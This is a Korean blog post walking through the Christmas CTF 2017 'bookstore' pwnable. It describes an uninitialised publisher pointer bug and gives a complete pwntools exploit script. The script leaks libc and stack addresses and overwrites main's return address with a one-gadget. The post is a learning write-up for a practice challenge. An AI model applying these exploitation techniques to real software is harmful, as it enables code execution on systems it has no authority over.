ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Christmas CTF 2017 bookstore
    Pwnable/CTF 2017. 12. 30. 22:21

    여태까지 C++ 경험이 적어서 문제를 잡았을때 너무 어려웠던문제였다 ..


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    publisher {
     
    string name
     
    string description
     
    }
     
    book {
    string name
     
    string description
     
    int price
     
    publisher* Publisher
     
    }
    cs



    구조체는 위와같다.


    여기서는 string 객체를 이용하였을때 힙으로 할당을하고 book 구조체를 operator new를 할때 publisher 포인터부분을 초기화를 하지 않아서

    취약점이 생기는문제였다.

    string 객체는 16byte 정도입력하면 0x31로 할당을하고 16byte를 또 더하면 31byte힙을 free시키고 0x41로 할당을하고 또 사이즈가 모자르다고 생각되면 다시 free를하고 +0x10사이즈로 다시 할당을하게된다. 

    book 구조체는 0x61 사이즈로 위 방법을 이용하여서 마지막 publisher부분에 원하는 주소를 넣고 그쪽으로 uaf를 한다면 publisher과 관련된 view, sell을 이용하여서 메모리 릭, 공격이 가능하다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    from pwn import *
     
     
    p=process("./bookstore")
    elf = ELF("./bookstore")
     
    def add(name,des,price,what):
        p.recvuntil('Exit')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(name)
        p.recvuntil(': ')
        p.sendline(des)
        p.recvuntil(': ')
        p.sendline(str(price))
        sleep(0.5)
        p.sendline(what)
     
     
    def create(name,des):
            p.recvuntil('Exit')
            p.sendline("2")
            print p.recvuntil(': ')
            p.sendline(name)
            p.recvuntil(': ')
            p.sendline(des)
     
    def sell(name,num):
        p.recvuntil('Exit')
        p.sendline("5")
        p.recvuntil(': ')
        p.sendline(name)
        p.recvuntil(': ')
        p.sendline(str(num))
     
    def leak(name,addr,num):
        create(name,"B"*72+addr)
        add(name,name,1,"")
        sleep(0.5)
        sell(name,num)
     
    publisher = 0x606380
    book = 0x6063a0
    create("1","1")
    leak("A",p64(0x6063c0),str(0x606240))
    leak("B",p64(0x6063c8),str(0x8))
    create("C","B"*72+p64(0x6063c0-0x8)) #0x6063c0 + 0x8 -> 0x606240(name), 0x6063c0+0x10 -> 0x8 (leak length)
    add("C","C",1,"")
    print p.recvuntil('Exit')
    p.sendline("3")
    for i in range(3):
        print p.recvuntil('er : ')
    libc_base = u64(p.recv(8)) - 0x3c48e0 #stdin leak -> libc_base
    environ = libc_base + 0x3c6f38
    print hex(libc_base)
    print hex(environ)
     
    one_shot = libc_base + 0xf1117
     
     
    leak("D",p64(0x6063e0),str((environ&0xffffffff)))
    leak("E",p64(0x6063e4),str((environ>>32)));
    leak("F",p64(0x6063e8),str(0x8))
    create("G","B"*72+p64(0x6063e0-0x8))
    add("H","H",1,"")
    print p.recvuntil('Exit')
    p.sendline("3")
    p.recvuntil('Description : H')
    p.recvuntil(': ')
    stack = u64(p.recv(8))
    print hex(stack)
    main_ret = stack - 0xf0
    print hex(main_ret)
    print hex(one_shot)
     
    leak("I",p64(main_ret),str(0xd08e7)) #one_shot - __libc_start_main+240 = 0xd08e7
    cs

     

    >> 쉬프트 연산을 이용하면 >>8,>>16 8byte단위로 뒤에 1byte씩 자른값이 만들어진다.



    & AND 연산을 이용하면\xff단위로 뒤에 \xff단위만큼 남긴다 ex) 0x618c10 & 0xffff -> 0x8c10 

    'Pwnable > CTF' 카테고리의 다른 글

    SECCON 2017 video_player  (0) 2018.01.11
    SECCON 2017 secure Keymanager, Election  (0) 2018.01.10
    Christmas CTF 2017 infinite cat  (0) 2017.12.30
    HITCON 2016 house_of_orange  (2) 2017.12.11
    BCTF 2017 Babyuse  (1) 2017.12.01
Designed by Tistory.